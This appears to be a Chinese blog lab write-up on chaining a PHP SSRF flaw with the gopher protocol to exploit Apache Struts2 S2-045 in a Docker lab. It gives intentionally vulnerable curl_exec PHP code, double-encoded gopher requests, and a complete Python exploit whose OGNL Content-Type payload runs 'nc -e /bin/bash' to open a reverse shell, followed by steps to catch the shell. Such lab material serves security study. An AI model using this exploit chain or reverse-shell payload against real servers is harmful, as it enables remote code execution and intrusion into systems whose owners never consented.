SSRF+gopher协议渗透struts2

SSRF+gopher协议渗透struts2


实验主机

windows10 192.168.1.120 #SSFR漏洞主机

centos8搭建struts2-045环境 192.168.1.106

实验环境

  • SSRF漏洞代码curl_exec.php:

php版本>5.3才可使用gopher协议

可用var_dump(curl_version())来调试

#win10主机 curl_exec.php
<?php
$url = $_GET['url'];
#var_dump(curl_version());  #输出curl支持的协议
$curlobj = curl_init($url);  //初始化一个新的会话,返回一个cURL句柄,供curl_setopt(), curl_exec()和curl_close() 函数使用。
echo curl_exec($curlobj);  //执行 cURL 会话
?>

测试一下环境:

SSRF+gopher协议渗透struts2

SSRF+gopher协议渗透struts2

window10的SSRF环境搭建完毕。

  • 测试代码get.php:
<?php
	echo "Hello ,".$_GET["name"]."!";
?>

尝试用gopher协议调用此代码,先构造一个get请求头

GET /ssrf/get.php?name=qianxun HTTP/1.1
Host:192.168.1.120

构造gopher协议请求

gopher://192.168.1.120:80/_GET%20/ssrf/get.php%3fname=qianxun%20HTTP/1.1%0d%0aHost:192.168.1.120%0d%0a

使用curl工具尝试发送:

SSRF+gopher协议渗透struts2

成功!

在url中发送,由于apache会自动进行一次url解码,所以为了让gopher协议能正常发送,所以要再进行一次url编码即:

gopher://192.168.1.120:80/_GET%2520/ssrf/get.php%253Fname=qianxun%2520HTTP/1.1%250d%250aHost:192.168.1.120%250d%250a

SSRF+gopher协议渗透struts2

成功!


实验过程

调试好环境之后正戏开始

结合SSRF利用gopher协议渗透struts2

物理机SSRF漏洞代码,也就是上面的curl_exec.php:

<?php
$url = $_GET['url'];
#var_dump(curl_version());
$curlobj = curl_init($url);  //初始化一个新的会话,返回一个cURL句柄,供curl_setopt(), curl_exec()和curl_close() 函数使用。
echo curl_exec($curlobj);  //执行 cURL 会话
?>

docker拉取镜像搭建s2-045环境:

service docker start  #开启docker服务
cd /usr/sbin/vulhub/struts2/s2-045  #进入s2-045目录
docker-compose up -d   #启动容器
docker ps  #查看docker容器进程

在物理机上用浏览器访问http://192.168.1.106:8080

SSRF+gopher协议渗透struts2

至此s2-045漏洞环境搭建完毕。

这里有个坑,我是用centos8搭建docker环境的,因为当时重启了一下network服务导致浏览器无法访问容器的8080端口,百度了好多资料,说是当FirewallD启动(或重新启动)时,会从iptables中删除DOCKER链,造成Docker不能正常工作,解决方法是手动重启出问题的Docker daemon服务。service docker restart最终解决了,如果你也有同样的问题,请参考文章

从网上找到大佬的exp,原版是用python2编写的,我换成python3修改了一下:

#!/usr/bin/python
# -*- coding: UTF-8 -*-
import urllib.request
from urllib.parse import quote

url = "http://192.168.1.120/ssrf/curl_exec.php?url="
header = """gopher://192.168.1.106:8080/_GET / HTTP/1.1
Host:192.168.1.106
Content-Type:"""  #设置get请求头
cmd = "nc -e /bin/bash 192.168.1.120 6666"   #用nc反弹shell
content_type = """%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='nc -e /bin/bash 192.168.1.120 6666').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"""   #这是content-Type字段的POC
header_encoder = ""
content_type_encoder = ""
content_type_encoder_2 = ""
url_char = [" "]
nr = "\r\n"

# 编码请求头
for single_char in header:
    if single_char in url_char:
        header_encoder += quote(quote(single_char,'utf-8'),'utf-8')
    else:
        header_encoder += single_char

header_encoder = header_encoder.replace("\n",quote(quote(nr,'utf-8'),'utf-8'))

# 编码content-type,第一次编码
for single_char in content_type:
    # 先转为ASCII,在转十六进制即可变为URL编码
    content_type_encoder += str(hex(ord(single_char)))
content_type_encoder = content_type_encoder.replace("0x","%") + quote(nr,'utf-8')
# 编码content-type,第二次编码
for single_char in content_type_encoder:
    # 先转为ASCII,在转十六进制即可变为URL编码
    content_type_encoder_2 += str(hex(ord(single_char)))
content_type_encoder_2 = content_type_encoder_2.replace("0x","%")
exp = url + header_encoder + content_type_encoder_2
print(exp)
request = urllib.request.Request(exp)
response = urllib.request.urlopen(request).read()
print(response)

复现过程:

在物理机上用nc开启端口监听:

SSRF+gopher协议渗透struts2

重新开启一个窗口运行exp:

SSRF+gopher协议渗透struts2

在第一次做的时候报了一个错误:

SSRF+gopher协议渗透struts2

这是因为容器中默认是没有安装nc的,所以要进入镜像安装nc

docker ps   #查看你的镜像id
docker exec -it (你的镜像id) /bin/bash   #进入镜像
apt-get update  #更新软件列表
apt-get install nc  #安装nc

然后再重试上面的步骤。

成功反弹shell:

SSRF+gopher协议渗透struts2

上一篇:windows 2008 R2搭建FTP服务器(续——用户隔离)


下一篇:Struts2学习笔记之Struts2核心配置